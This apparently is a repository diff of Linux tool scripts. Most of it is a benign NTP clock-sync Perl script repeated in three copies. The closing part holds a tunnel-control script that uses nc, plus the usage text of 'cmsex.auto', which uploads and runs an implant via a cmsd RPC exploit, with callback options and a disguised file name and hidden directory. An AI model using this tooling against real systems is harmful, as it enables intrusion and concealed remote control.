IP address. (NOTE: DNS must work for $prog to work,
unless -i is used.)
-i IP IP address to try first as an NTP server instead of
$ntptarget (still tries named targets if that IP fails).
-f Force $prog to run regardless of last time it ran on
this host.
If $prog was run on this host less than $defhowoften days ago, it
merely exits, doing nothing. (Use -f to force $prog to execute
regardless of last time it ran.)
Otherwise, $prog will wait up to ten minutes for a valid $defintf[01] IP
address. Once it sees one, it attempts to set the system clock
via the command:
\tntpdate $ntptargets[0]
If that fails, these ntp servers are also tried until one works:
\t@tmpntps
If ntpdate works, $prog then sets the hwclock to match with:
\thwclock --systohc
";
usage() if ($opt_h or $opt_v);
$defintf = "eth" if ($opt_e);
if ($opt_i) {
mydie("Malformed IP -i $opt_i")
unless ipcheck($opt_i);
unshift @ntptargets,$opt_i;
}
close(STDOUT);
close(STDERR);
fork() and exit; # background self
if (-e "/tmp/clocksync.done") {
$age = -M _;
if ($age < $howoften) { # if under 3 days old skip clocksync entirely
$age = secstostr($age * 24 * 60 * 60);
mydie("Skipping clocksync: done $age ago on this host ( < $howoften days)");
}
}
}#myinit
sub mydie {
local ($what,$color,$color2,$what2) = (@_) ;
$color = $COLOR_FAILURE unless $color ;
$color2 = $color unless $color2 ;
$what2 = " $what2" if ($what2) ;
if (@_) {
mylog($what,$color,$color2,$what2);
}
exit 1;
}#mydie
sub dbg {
mylog("$prog[$$]: ${COLOR_FAILURE}DBGwarn\a: @_$COLOR_NORMAL\n") ;
}#dbg
sub mylog {
my ($pause,$pausecmd)=("");
my $where = undef;
my $timestamp="";
$timestamp= timestamp()." " unless ($notimestamp or $ENV{NOTIMESTAMP});
while (
$_[$#_] =~ /^STD/ or
$_[$#_] =~ /OUT$/
) {
$where = pop(@_);
}
#DBG: $where = stderr
$where = STDERR;
local ($what,$color,$color2,$what2) = (@_) ;
$color = $COLOR_NOTE unless $color ;
$color2 = $color unless $color2 ;
$what2 = " $what2" if ($what2) ;
open(OUT,">> /tmp/clocksync.log")
or mydie("FAILED: Cannot open /tmp/clocksync.log: $!");
if (lc $what eq "starting" or lc $what eq "init") {
sleep 1; # allows a tail -f to see the first line of file after it echos
# the error: tail: /tmp/clocksync.log: file truncated
}
$where = OUT;
print $where "$timestamp${prog}[$hostname:$$]$what2: $what\n" ;
close(OUT);
}#mylog
sub usage {
if ($nextextfile and $ext and -e $nextextfile) {
my $newfile = $nextextfile;
$newfile =~ s/\.$ext$//;
rename($nextextfile,$newfile);
}
my $output = "";
$output .= "\nFATAL ERROR: @_\n" if ( @_ );
$usagetext = $gsusagetext if ($gsusagetext and $nopen_mypid) ;
$usagetext = $gsusagetext if ($gsusagetext and !$usagetext) ;
$usagetext .= $gsusagetextlong if ($longhelp and $gsusagetextlong);
$output .= $usagetext unless $opt_v;
$output .= $vertext ;
$output .= "\nFATAL ERROR: @_\n" if ( @_ );
print STDOUT $output;
exit;
}#usage
sub dammit {
my $duh = "@_";
if (open(TMPOUT,">> /tmp/dammit")) {
print TMPOUT "@_\n";
close(TMPOUT);
} else {
`echo -e "$duh" >> /tmp/dammit`;
}
}
sub timestamp {
my ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst,$monstr) =
gmtime();
$year+=1900;
$mon++;
return sprintf("%4d-%02d-%02d %02d:%02d:%02d ",
$year,$mon,$mday,$hr,$min,$sec);
}#timestamp
sub ipcheck {
# returns 1 iff $ipstr is in dotted decimal notation with each
# octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid)
my $maxval=255;
my $minval=0;
while ($_[$#_] =~ /no/) {
if ($_[$#_] =~ /no255/) {
pop(@_);
$maxval=254;
}
if ($_[$#_] =~ /no0/) {
pop(@_);
$minval=1;
}
}
local($ipstr,$minoctets,$maxoctets) = @_;
$minoctets=abs(int($minoctets)) if defined $minoctets;
$maxoctets=abs(int($maxoctets)) if defined $maxoctets;
unless($minoctets) {
$minoctets=4 ;
}
unless (defined $maxoctets and $maxoctets <= 4 and $maxoctets > 0) {
$maxoctets=4;
}
# strip trailing "." if partial IPs allowed
$ipstr =~ s/\.$// if ($maxoctets < 4) ;
# need -1 in following split to keep null trailing fields (to reject "1.2.3.4.")
my @octets=split(/\./,$ipstr,-1);
return 0 if (@octets < $minoctets or @octets > $maxoctets);
foreach (@octets) {
# return 0 if (empty or nondigits or <0 or >$maxval)
return 0 if (( /\D/ ) || $_ < $minval || $_ > $maxval);
# next line allows partial IPs ending in ".", ignore last
return 0 if ($minoctets == 4 and $_ eq "");
}
return 1;
} #ipcheck
sub secstostr {
# given seconds returns string in form "[#d][#h][#m]#s"
my ($secs) = (@_);
my $sign = $secs < 0 ? -1 : 1 ;
$secs=abs(int($secs));
my $d = int($secs/(24*60*60));
$secs -= $d * (24*60*60);
my $h = int($secs/(60*60));
$secs -= $h * (60*60);
my $m = int($secs/(60));
$secs -= $m * (60);
my $s = $secs;
$d = $d ? "${d}d " : "";
$h = $h ? "${h}h " : "";
$m = $m ? "${m}m " : "";
return "$d$h$m${s}s";
}#secstostr

379
Linux/bin/clocksync.pl.old Executable file
View file

@ -0,0 +1,379 @@
#!/usr/bin/env perl
##
$VER = "v1.0.2.2";
# DEFAULTS
$defintf = "ppp";
@ntptargets =("us.pool.ntp.org","ch.pool.ntp.org","pool.ntp.org");
#DEBUG: DBG ONLY, set this to ppp for dialup
myinit() ;
#
mylog("Starting");
unless (($intf,@rest) = checkppp(240)) {
mylog("No IP address yet on ${defintf}[01] for four minutes. Waiting at most another 6 minutes");
unless (($intf) = checkppp(360)) {
mydie("ABORTING: CANNOT confirm valid ${defintf}[01] IP address for another six minutes (ten total)");
}
}
sleep 1;
sleep 3; # add a few more seconds here since we are no longer pinging $testip
my $count=0;
my $result=0;
my ($servername,$server) = ();
while (! $result) {
foreach $ntptarget (@ntptargets) {
my @name_lookup = gethostbyname($ntptarget);
my @ips = map { inet_ntoa($_) } @name_lookup[ 4 .. $#name_lookup ];
if (@ips) {
mylog("$ntptarget resolved to: @ips");
} else {
mylog("Cannot resolve $ntptarget");
$result = 1;
}
foreach $ip (@ips) {
`ntpdate -v $ip 2>&1`;
$result = $?;
unless ($result) {
$servername = $ntptarget;
$server = $ip;
last;
}
mylog("ntpdate $ip returned $result");
}
last unless $result;
}
last unless $result;
$count+=3;
sleep 3;
last if $count > 30;
}
if ($result) {
mydie("FAILED--exiting");
}
$count=0;
$result=0;
while (! `hwclock --systohc`) {
$result = $?;
last unless $result;
$count+=3;
sleep 3;
last if $count > 30;
}
if ($result) {
mydie("FAILED: ntpdate $ntptarget worked but then hwclock --systohc returned $result");
}
# allow time for clock to settle so timestamp in log below is new one
sleep 3;
mylog("Successful ntp connection to $servername/$server");
unlink("/tmp/clocksync.done");
copy("/tmp/clocksync.log","/tmp/clocksync.done");
sub checkppp {
# Return () if no ppp address, otherwise
# Return ($ispname,$ispip,$testip,$ispcitystate,$ispphone)
local ($wait) = (@_);
my $isdown = "";
if ($wait eq "down") {
$isdown = $wait;
$wait = 0;
# give interface a couple seconds to drop entirely
sleep 2;
}
my (@intf,$ispname,$ispip,$testip,$ispcitystate,$ispphone) = ();
my $intf = $defintf;
$wait = 3 * int($wait / 3); # force a multiple of 3
my $origwait = $wait;
while ( 1 ) {
$blah=`ps -ef | egrep "setupisp|wvdial.conf" | grep -v grep`;
if ($wait and $blah) {
#TODO: Is this right? Is wvdial gone once we have ppp?
sleep 3 ;
$wait -= 3;
next if $wait;
mylog("ERROR: Unable do detect just dialed ISP for $origwait seconds");
return ();
}
@intf=($defintf."0",$defintf."1");
($testip) = `route -n` =~ /\n\s*0.0.0.0\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/;
$testip = "" if ($testip eq "0.0.0.0");
unless ($testip) {
my @lines = grep { "^nameserver" } `cat /etc/resolv.conf`;
($testip) = $lines[0] =~ / (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/;
}
foreach $intf (@intf) {
my $ifconfig = `ifconfig $intf 2>&1`;
my ($ispip) = $ifconfig =~ /inet addr:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/;
# If nothing else we ping our own IP as a test
$testip = $ispip unless $testip;
$testip = $ispip;
if ($ispip) {
# my ($loss) = `ping -nc1 $testip 2>&1` =~ /\s(\d+)\% .*loss/;
$loss = 0 ;
if (length($loss) and $loss == 0) {
my $ispinfo = "/tmp/isp_info";
if (-M $ispinfo > 0) {
mylog("$ispinfo timestamp seems too old for a new dial? Using it anyway...")
}
($ispcitystate,$ispphone,$ispname) = ("unknown,UN","911");
if (open(TMPIN,"$ispinfo")) {
chomp($ispname = <TMPIN>);
$ispname =~ s/,/\./g;
chomp($ispcitystate = <TMPIN>);
unless ($ispcitystate =~ /,\s*[A-Z]{2}\s*$/) {
chomp(my $ispstate = <TMPIN>);
$ispcitystate .= " $ispstate";
}
$ispcitystate =~ s/,//g;
chomp($ispphone = <TMPIN>);
$ispphone =~ s/,//g;
close(TMPIN);
}
# Ensure none of these entries have commas (we comma delimit elsewhere)
$ispip =~ s/,/\./g;
$testip =~ s/,/\./g;
mylog("Verified $intf IP=$ispip \n".
#"and pinged testip=$testip:\n".
"(\$intf,\$ispname,\t\$ispip,".
# "\t\$testip,".
"\t\$ispcitystate,\t\$ispphone)=\n".
"($intf,$ispname,\t$ispip,".
#"\t$testip,".
"\t$ispcitystate,\t$ispphone)");
return ($intf,$ispname,$ispip,$testip,$ispcitystate,$ispphone) ;
}
}
}#foreach (@intf)
$wait -= 3;
last unless ($wait > 0);
sleep 3;
}
if ($isdown) {
mylog("confirmed no live ${defintf}[01] interface after isp($action)");
} else {
mylog("testip=$testip, but could not verify my IP address on (@intf)");
}
return ();
}#checkppp
sub myinit {
use File::Basename qw(basename dirname);
require "getopts.pl";
require Time::Local;
use Socket;
use File::Copy ;
$COLOR_SUCCESS="\033[2;32m";
$COLOR_FAILURE="\033[2;31m";
$COLOR_WARNING="\033[1;33m";
$COLOR_NORMAL="\033[0;39m";
$COLOR_NOTE="\033[0;34m";
$prog = basename $0 ;
$vertext = "$prog version $VER\n" ;
$| = 1;
$opdir = "/current" ;
$opup = "$opdir/up" ;
$opbin = "$opdir/bin" ;
$opetc = "$opdir/etc" ;
$opdown = "$opdir/down" ;
$optmp = "$opdir/tmp" ;
chomp($hostname = `hostname`);
$ext = "$$" ; # some uniqueness to me
$gsoptions = "@ARGV" ;
$calledas = "$0 @ARGV";
$origargs = "@ARGV" ;
$optstr = "hvei:f" ;
mydie("bad option(s)") if (! Getopts( $optstr ) ) ;
$defhowoften = 3;
$howoften = $defhowoften;
$howoften = 0 if $opt_f;
my @tmpntps = @ntptargets;
shift(@tmpntps);
$usagetext = "Usage: $prog [options]
OPTIONS
-e Use eth[01] as the interfaces on which to look for a valid
IP address. (NOTE: DNS must work for $prog to work,
unless -i is used.)
-i IP IP address to try first as an NTP server instead of
$ntptarget (still tries named targets if that IP fails).
-f Force $prog to run regardless of last time it ran on
this host.
If $prog was run on this host less than $defhowoften days ago, it
merely exits, doing nothing. (Use -f to force $prog to execute
regardless of last time it ran.)
Otherwise, $prog will wait up to ten minutes for a valid $defintf[01] IP
address. Once it sees one, it attempts to set the system clock
via the command:
\tntpdate $ntptargets[0]
If that fails, these ntp servers are also tried until one works:
\t@tmpntps
If ntpdate works, $prog then sets the hwclock to match with:
\thwclock --systohc
";
usage() if ($opt_h or $opt_v);
$defintf = "eth" if ($opt_e);
if ($opt_i) {
mydie("Malformed IP -i $opt_i")
unless ipcheck($opt_i);
unshift @ntptargets,$opt_i;
}
close(STDOUT);
close(STDERR);
fork() and exit; # background self
if (-e "/tmp/clocksync.done") {
$age = -M _;
if ($age < $howoften) { # if under 3 days old skip clocksync entirely
$age = secstostr($age * 24 * 60 * 60);
mydie("Skipping clocksync: done $age ago on this host ( < $howoften days)");
}
}
}#myinit
sub mydie {
local ($what,$color,$color2,$what2) = (@_) ;
$color = $COLOR_FAILURE unless $color ;
$color2 = $color unless $color2 ;
$what2 = " $what2" if ($what2) ;
if (@_) {
mylog($what,$color,$color2,$what2);
}
exit 1;
}#mydie
sub dbg {
mylog("$prog[$$]: ${COLOR_FAILURE}DBGwarn\a: @_$COLOR_NORMAL\n") ;
}#dbg
sub mylog {
my ($pause,$pausecmd)=("");
my $where = undef;
my $timestamp="";
$timestamp= timestamp()." " unless ($notimestamp or $ENV{NOTIMESTAMP});
while (
$_[$#_] =~ /^STD/ or
$_[$#_] =~ /OUT$/
) {
$where = pop(@_);
}
#DBG: $where = stderr
$where = STDERR;
local ($what,$color,$color2,$what2) = (@_) ;
$color = $COLOR_NOTE unless $color ;
$color2 = $color unless $color2 ;
$what2 = " $what2" if ($what2) ;
open(OUT,">> /tmp/clocksync.log")
or mydie("FAILED: Cannot open /tmp/clocksync.log: $!");
if (lc $what eq "starting" or lc $what eq "init") {
sleep 1; # allows a tail -f to see the first line of file after it echos
# the error: tail: /tmp/clocksync.log: file truncated
}
$where = OUT;
print $where "$timestamp${prog}[$hostname:$$]$what2: $what\n" ;
close(OUT);
}#mylog
sub usage {
if ($nextextfile and $ext and -e $nextextfile) {
my $newfile = $nextextfile;
$newfile =~ s/\.$ext$//;
rename($nextextfile,$newfile);
}
my $output = "";
$output .= "\nFATAL ERROR: @_\n" if ( @_ );
$usagetext = $gsusagetext if ($gsusagetext and $nopen_mypid) ;
$usagetext = $gsusagetext if ($gsusagetext and !$usagetext) ;
$usagetext .= $gsusagetextlong if ($longhelp and $gsusagetextlong);
$output .= $usagetext unless $opt_v;
$output .= $vertext ;
$output .= "\nFATAL ERROR: @_\n" if ( @_ );
print STDOUT $output;
exit;
}#usage
sub dammit {
my $duh = "@_";
if (open(TMPOUT,">> /tmp/dammit")) {
print TMPOUT "@_\n";
close(TMPOUT);
} else {
`echo -e "$duh" >> /tmp/dammit`;
}
}
sub timestamp {
my ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst,$monstr) =
gmtime();
$year+=1900;
$mon++;
return sprintf("%4d-%02d-%02d %02d:%02d:%02d ",
$year,$mon,$mday,$hr,$min,$sec);
}#timestamp
sub ipcheck {
# returns 1 iff $ipstr is in dotted decimal notation with each
# octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid)
my $maxval=255;
my $minval=0;
while ($_[$#_] =~ /no/) {
if ($_[$#_] =~ /no255/) {
pop(@_);
$maxval=254;
}
if ($_[$#_] =~ /no0/) {
pop(@_);
$minval=1;
}
}
local($ipstr,$minoctets,$maxoctets) = @_;
$minoctets=abs(int($minoctets)) if defined $minoctets;
$maxoctets=abs(int($maxoctets)) if defined $maxoctets;
unless($minoctets) {
$minoctets=4 ;
}
unless (defined $maxoctets and $maxoctets <= 4 and $maxoctets > 0) {
$maxoctets=4;
}
# strip trailing "." if partial IPs allowed
$ipstr =~ s/\.$// if ($maxoctets < 4) ;
# need -1 in following split to keep null trailing fields (to reject "1.2.3.4.")
my @octets=split(/\./,$ipstr,-1);
return 0 if (@octets < $minoctets or @octets > $maxoctets);
foreach (@octets) {
# return 0 if (empty or nondigits or <0 or >$maxval)
return 0 if (( /\D/ ) || $_ < $minval || $_ > $maxval);
# next line allows partial IPs ending in ".", ignore last
return 0 if ($minoctets == 4 and $_ eq "");
}
return 1;
} #ipcheck
sub secstostr {
# given seconds returns string in form "[#d][#h][#m]#s"
my ($secs) = (@_);
my $sign = $secs < 0 ? -1 : 1 ;
$secs=abs(int($secs));
my $d = int($secs/(24*60*60));
$secs -= $d * (24*60*60);
my $h = int($secs/(60*60));
$secs -= $h * (60*60);
my $m = int($secs/(60));
$secs -= $m * (60);
my $s = $secs;
$d = $d ? "${d}d " : "";
$h = $h ? "${h}h " : "";
$m = $m ? "${m}m " : "";
return "$d$h$m${s}s";
}#secstostr

379
Linux/bin/clocksync.pl.old1 Executable file
View file

@ -0,0 +1,379 @@
#!/usr/bin/env perl
##
$VER = "v1.0.2.2";
# DEFAULTS
$defintf = "ppp";
@ntptargets =("us.pool.ntp.org","ch.pool.ntp.org","pool.ntp.org");
#DEBUG: DBG ONLY, set this to ppp for dialup
myinit() ;
#
mylog("Starting");
unless (($intf,@rest) = checkppp(240)) {
mylog("No IP address yet on ${defintf}[01] for four minutes. Waiting at most another 6 minutes");
unless (($intf) = checkppp(360)) {
mydie("ABORTING: CANNOT confirm valid ${defintf}[01] IP address for another six minutes (ten total)");
}
}
sleep 1;
sleep 3; # add a few more seconds here since we are no longer pinging $testip
my $count=0;
my $result=0;
my ($servername,$server) = ();
while (! $result) {
foreach $ntptarget (@ntptargets) {
my @name_lookup = gethostbyname($ntptarget);
my @ips = map { inet_ntoa($_) } @name_lookup[ 4 .. $#name_lookup ];
if (@ips) {
mylog("$ntptarget resolved to: @ips");
} else {
mylog("Cannot resolve $ntptarget");
$result = 1;
}
foreach $ip (@ips) {
`ntpdate -v $ip 2>&1`;
$result = $?;
unless ($result) {
$servername = $ntptarget;
$server = $ip;
last;
}
mylog("ntpdate $ip returned $result");
}
last unless $result;
}
last unless $result;
$count+=3;
sleep 3;
last if $count > 30;
}
if ($result) {
mydie("FAILED--exiting");
}
$count=0;
$result=0;
while (! `hwclock --systohc`) {
$result = $?;
last unless $result;
$count+=3;
sleep 3;
last if $count > 30;
}
if ($result) {
mydie("FAILED: ntpdate $ntptarget worked but then hwclock --systohc returned $result");
}
# allow time for clock to settle so timestamp in log below is new one
sleep 3;
mylog("Successful ntp connection to $servername/$server");
unlink("/tmp/clocksync.done");
copy("/tmp/clocksync.log","/tmp/clocksync.done");
sub checkppp {
# Return () if no ppp address, otherwise
# Return ($ispname,$ispip,$testip,$ispcitystate,$ispphone)
local ($wait) = (@_);
my $isdown = "";
if ($wait eq "down") {
$isdown = $wait;
$wait = 0;
# give interface a couple seconds to drop entirely
sleep 2;
}
my (@intf,$ispname,$ispip,$testip,$ispcitystate,$ispphone) = ();
my $intf = $defintf;
$wait = 3 * int($wait / 3); # force a multiple of 3
my $origwait = $wait;
while ( 1 ) {
$blah=`ps -ef | egrep "setupisp|wvdial.conf" | grep -v grep`;
if ($wait and $blah) {
#TODO: Is this right? Is wvdial gone once we have ppp?
sleep 3 ;
$wait -= 3;
next if $wait;
mylog("ERROR: Unable do detect just dialed ISP for $origwait seconds");
return ();
}
@intf=($defintf."0",$defintf."1");
($testip) = `route -n` =~ /\n\s*0.0.0.0\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/;
$testip = "" if ($testip eq "0.0.0.0");
unless ($testip) {
my @lines = grep { "^nameserver" } `cat /etc/resolv.conf`;
($testip) = $lines[0] =~ / (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/;
}
foreach $intf (@intf) {
my $ifconfig = `ifconfig $intf 2>&1`;
my ($ispip) = $ifconfig =~ /inet addr:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/;
# If nothing else we ping our own IP as a test
$testip = $ispip unless $testip;
$testip = $ispip;
if ($ispip) {
# my ($loss) = `ping -nc1 $testip 2>&1` =~ /\s(\d+)\% .*loss/;
$loss = 0 ;
if (length($loss) and $loss == 0) {
my $ispinfo = "/tmp/isp_info";
if (-M $ispinfo > 0) {
mylog("$ispinfo timestamp seems too old for a new dial? Using it anyway...")
}
($ispcitystate,$ispphone,$ispname) = ("unknown,UN","911");
if (open(TMPIN,"$ispinfo")) {
chomp($ispname = <TMPIN>);
$ispname =~ s/,/\./g;
chomp($ispcitystate = <TMPIN>);
unless ($ispcitystate =~ /,\s*[A-Z]{2}\s*$/) {
chomp(my $ispstate = <TMPIN>);
$ispcitystate .= " $ispstate";
}
$ispcitystate =~ s/,//g;
chomp($ispphone = <TMPIN>);
$ispphone =~ s/,//g;
close(TMPIN);
}
# Ensure none of these entries have commas (we comma delimit elsewhere)
$ispip =~ s/,/\./g;
$testip =~ s/,/\./g;
mylog("Verified $intf IP=$ispip \n".
#"and pinged testip=$testip:\n".
"(\$intf,\$ispname,\t\$ispip,".
# "\t\$testip,".
"\t\$ispcitystate,\t\$ispphone)=\n".
"($intf,$ispname,\t$ispip,".
#"\t$testip,".
"\t$ispcitystate,\t$ispphone)");
return ($intf,$ispname,$ispip,$testip,$ispcitystate,$ispphone) ;
}
}
}#foreach (@intf)
$wait -= 3;
last unless ($wait > 0);
sleep 3;
}
if ($isdown) {
mylog("confirmed no live ${defintf}[01] interface after isp($action)");
} else {
mylog("testip=$testip, but could not verify my IP address on (@intf)");
}
return ();
}#checkppp
sub myinit {
use File::Basename qw(basename dirname);
require "getopts.pl";
require Time::Local;
use Socket;
use File::Copy ;
$COLOR_SUCCESS="\033[2;32m";
$COLOR_FAILURE="\033[2;31m";
$COLOR_WARNING="\033[1;33m";
$COLOR_NORMAL="\033[0;39m";
$COLOR_NOTE="\033[0;34m";
$prog = basename $0 ;
$vertext = "$prog version $VER\n" ;
$| = 1;
$opdir = "/current" ;
$opup = "$opdir/up" ;
$opbin = "$opdir/bin" ;
$opetc = "$opdir/etc" ;
$opdown = "$opdir/down" ;
$optmp = "$opdir/tmp" ;
chomp($hostname = `hostname`);
$ext = "$$" ; # some uniqueness to me
$gsoptions = "@ARGV" ;
$calledas = "$0 @ARGV";
$origargs = "@ARGV" ;
$optstr = "hvei:f" ;
mydie("bad option(s)") if (! Getopts( $optstr ) ) ;
$defhowoften = 3;
$howoften = $defhowoften;
$howoften = 0 if $opt_f;
my @tmpntps = @ntptargets;
shift(@tmpntps);
$usagetext = "Usage: $prog [options]
OPTIONS
-e Use eth[01] as the interfaces on which to look for a valid
IP address. (NOTE: DNS must work for $prog to work,
unless -i is used.)
-i IP IP address to try first as an NTP server instead of
$ntptarget (still tries named targets if that IP fails).
-f Force $prog to run regardless of last time it ran on
this host.
If $prog was run on this host less than $defhowoften days ago, it
merely exits, doing nothing. (Use -f to force $prog to execute
regardless of last time it ran.)
Otherwise, $prog will wait up to ten minutes for a valid $defintf[01] IP
address. Once it sees one, it attempts to set the system clock
via the command:
\tntpdate $ntptargets[0]
If that fails, these ntp servers are also tried until one works:
\t@tmpntps
If ntpdate works, $prog then sets the hwclock to match with:
\thwclock --systohc
";
usage() if ($opt_h or $opt_v);
$defintf = "eth" if ($opt_e);
if ($opt_i) {
mydie("Malformed IP -i $opt_i")
unless ipcheck($opt_i);
unshift @ntptargets,$opt_i;
}
close(STDOUT);
close(STDERR);
fork() and exit; # background self
if (-e "/tmp/clocksync.done") {
$age = -M _;
if ($age < $howoften) { # if under 3 days old skip clocksync entirely
$age = secstostr($age * 24 * 60 * 60);
mydie("Skipping clocksync: done $age ago on this host ( < $howoften days)");
}
}
}#myinit
sub mydie {
local ($what,$color,$color2,$what2) = (@_) ;
$color = $COLOR_FAILURE unless $color ;
$color2 = $color unless $color2 ;
$what2 = " $what2" if ($what2) ;
if (@_) {
mylog($what,$color,$color2,$what2);
}
exit 1;
}#mydie
sub dbg {
mylog("$prog[$$]: ${COLOR_FAILURE}DBGwarn\a: @_$COLOR_NORMAL\n") ;
}#dbg
sub mylog {
my ($pause,$pausecmd)=("");
my $where = undef;
my $timestamp="";
$timestamp= timestamp()." " unless ($notimestamp or $ENV{NOTIMESTAMP});
while (
$_[$#_] =~ /^STD/ or
$_[$#_] =~ /OUT$/
) {
$where = pop(@_);
}
#DBG: $where = stderr
$where = STDERR;
local ($what,$color,$color2,$what2) = (@_) ;
$color = $COLOR_NOTE unless $color ;
$color2 = $color unless $color2 ;
$what2 = " $what2" if ($what2) ;
open(OUT,">> /tmp/clocksync.log")
or mydie("FAILED: Cannot open /tmp/clocksync.log: $!");
if (lc $what eq "starting" or lc $what eq "init") {
sleep 1; # allows a tail -f to see the first line of file after it echos
# the error: tail: /tmp/clocksync.log: file truncated
}
$where = OUT;
print $where "$timestamp${prog}[$hostname:$$]$what2: $what\n" ;
close(OUT);
}#mylog
sub usage {
if ($nextextfile and $ext and -e $nextextfile) {
my $newfile = $nextextfile;
$newfile =~ s/\.$ext$//;
rename($nextextfile,$newfile);
}
my $output = "";
$output .= "\nFATAL ERROR: @_\n" if ( @_ );
$usagetext = $gsusagetext if ($gsusagetext and $nopen_mypid) ;
$usagetext = $gsusagetext if ($gsusagetext and !$usagetext) ;
$usagetext .= $gsusagetextlong if ($longhelp and $gsusagetextlong);
$output .= $usagetext unless $opt_v;
$output .= $vertext ;
$output .= "\nFATAL ERROR: @_\n" if ( @_ );
print STDOUT $output;
exit;
}#usage
sub dammit {
my $duh = "@_";
if (open(TMPOUT,">> /tmp/dammit")) {
print TMPOUT "@_\n";
close(TMPOUT);
} else {
`echo -e "$duh" >> /tmp/dammit`;
}
}
sub timestamp {
my ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst,$monstr) =
gmtime();
$year+=1900;
$mon++;
return sprintf("%4d-%02d-%02d %02d:%02d:%02d ",
$year,$mon,$mday,$hr,$min,$sec);
}#timestamp
sub ipcheck {
# returns 1 iff $ipstr is in dotted decimal notation with each
# octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid)
my $maxval=255;
my $minval=0;
while ($_[$#_] =~ /no/) {
if ($_[$#_] =~ /no255/) {
pop(@_);
$maxval=254;
}
if ($_[$#_] =~ /no0/) {
pop(@_);
$minval=1;
}
}
local($ipstr,$minoctets,$maxoctets) = @_;
$minoctets=abs(int($minoctets)) if defined $minoctets;
$maxoctets=abs(int($maxoctets)) if defined $maxoctets;
unless($minoctets) {
$minoctets=4 ;
}
unless (defined $maxoctets and $maxoctets <= 4 and $maxoctets > 0) {
$maxoctets=4;
}
# strip trailing "." if partial IPs allowed
$ipstr =~ s/\.$// if ($maxoctets < 4) ;
# need -1 in following split to keep null trailing fields (to reject "1.2.3.4.")
my @octets=split(/\./,$ipstr,-1);
return 0 if (@octets < $minoctets or @octets > $maxoctets);
foreach (@octets) {
# return 0 if (empty or nondigits or <0 or >$maxval)
return 0 if (( /\D/ ) || $_ < $minval || $_ > $maxval);
# next line allows partial IPs ending in ".", ignore last
return 0 if ($minoctets == 4 and $_ eq "");
}
return 1;
} #ipcheck
sub secstostr {
# given seconds returns string in form "[#d][#h][#m]#s"
my ($secs) = (@_);
my $sign = $secs < 0 ? -1 : 1 ;
$secs=abs(int($secs));
my $d = int($secs/(24*60*60));
$secs -= $d * (24*60*60);
my $h = int($secs/(60*60));
$secs -= $h * (60*60);
my $m = int($secs/(60));
$secs -= $m * (60);
my $s = $secs;
$d = $d ? "${d}d " : "";
$h = $h ? "${h}h " : "";
$m = $m ? "${m}m " : "";
return "$d$h$m${s}s";
}#secstostr

9
Linux/bin/closetunnel Executable file
View file

@ -0,0 +1,9 @@
#!/bin/sh
[ "$PORT" ] || PORT=$1
[ "$PORT" ] || PORT=`cat /current/bin/.tunnelport`
[ "$PORT" ] || PORT=18787
echo 'echo "c 1 2 3 4 5 6 7" | nc -w1 -u 127.0.0.1' $PORT
echo 'echo "q" | nc -w1 -u 127.0.0.1' $PORT
echo "c 1 2 3 4 5 6 7" | nc -w1 -u 127.0.0.1 $PORT
echo "q" | nc -w1 -u 127.0.0.1 $PORT
echo "q" | nc -w1 -u 127.0.0.1 $PORT

BIN
Linux/bin/cmsd Executable file

Binary file not shown.

BIN
Linux/bin/cmsex Executable file

Binary file not shown.

725
Linux/bin/cmsex.auto Executable file
View file

@ -0,0 +1,725 @@
#!/bin/sh
# Defaults
PROG=`basename ${0}`
VER="2.1.0.3"
ERRSLEEP=0
AUTOMODE="$TARGETIP"
[ "$TUNNELPORT" ] || TUNNELPORT=`cat /current/bin/.tunnelport 2>/dev/null`
[ "$TUNNELPORT" ] || TUNNELPORT=18787
COLOR_SUCCESS="\\033[1;32m"
COLOR_FAILURE="\\033[1;31m"
COLOR_WARNING="\\033[1;33m"
COLOR_NORMAL="\\033[0;39m"
COLOR_NOTE="\\033[0;34m"
COLOR_WHITE="\\033[4;97m"
SETCOLOR_SUCCESS="echo -en $COLOR_SUCCESS"
SETCOLOR_FAILURE="echo -en $COLOR_FAILURE"
SETCOLOR_WARNING="echo -en $COLOR_WARNING"
SETCOLOR_NORMAL="echo -en $COLOR_NORMAL"
SETCOLOR_NOTE="echo -en $COLOR_NOTE"
SETCOLOR_WHITE="echo -en $COLOR_WHITE"
# usagetext here so this can be used globally
DEFCALLBACKDELAY=15
SYNTAX="[E=ratpreargs] [A=ratpostargs] $PROG [options]
"
CMSEXTYPES=`/current/bin/cmsex 2>/dev/null | grep -v "not implemented" | egrep "^[0-9]+:" | sed "s/^/ /g"`
[ "$CMSEXTYPES" ] && CMSEXTYPES=" Valid -T values:\n$CMSEXTYPES"
usagetextshort="
Usage: $SYNTAX
$PROG uploads and runs NOPEN via ./cmsex and is compatible with
NOPEN's builtin -sploit command.
REQUIRED OPTIONS - Usual upload/execute mode
-i IP Target IP (or 127.0.0.1 if redirecting)
-u|t # Target's udp/tcp cmsd port (prog 100068); 0 queries portmapper.
If only a udp port is registered by 100068 and the script fails against
that port, tickling that port will 'wake up' a tcp port on the same service
to try, as well. (i.e., with \"rpcinfo -u -n UDPPORT TARGET_IP 100068\")
TROUBLESHOOT OPTION
-R Run specific commands on target, not the usual (you are
prompted for the command string to send). OTHER OPTIONS below
are ignored when using -R.
OTHER OPTIONS - [default in brackets if any]
-T # Target code to send ./cmsex.$CMSEXTYPES
-n # Local tcp port for netcat upload [random]
-l IP Local IP for netcat upload [the first active IP in this order:
ppp0, ppp1, eth0 or eth1]
-r name Name to call uploaded file on target [sendmail]
-D dir Working directory to create/use on target [/tmp/.scsi]
-p # NOPEN port for either listen or callback mode [random]
-c Use NOPEN in callback mode to local IP (also see -S)
-C IP Use NOPEN in callback mode to this IP instead of local IP
-s # Change delay used for -c|C to # seconds [$DEFCALLBACKDELAY]
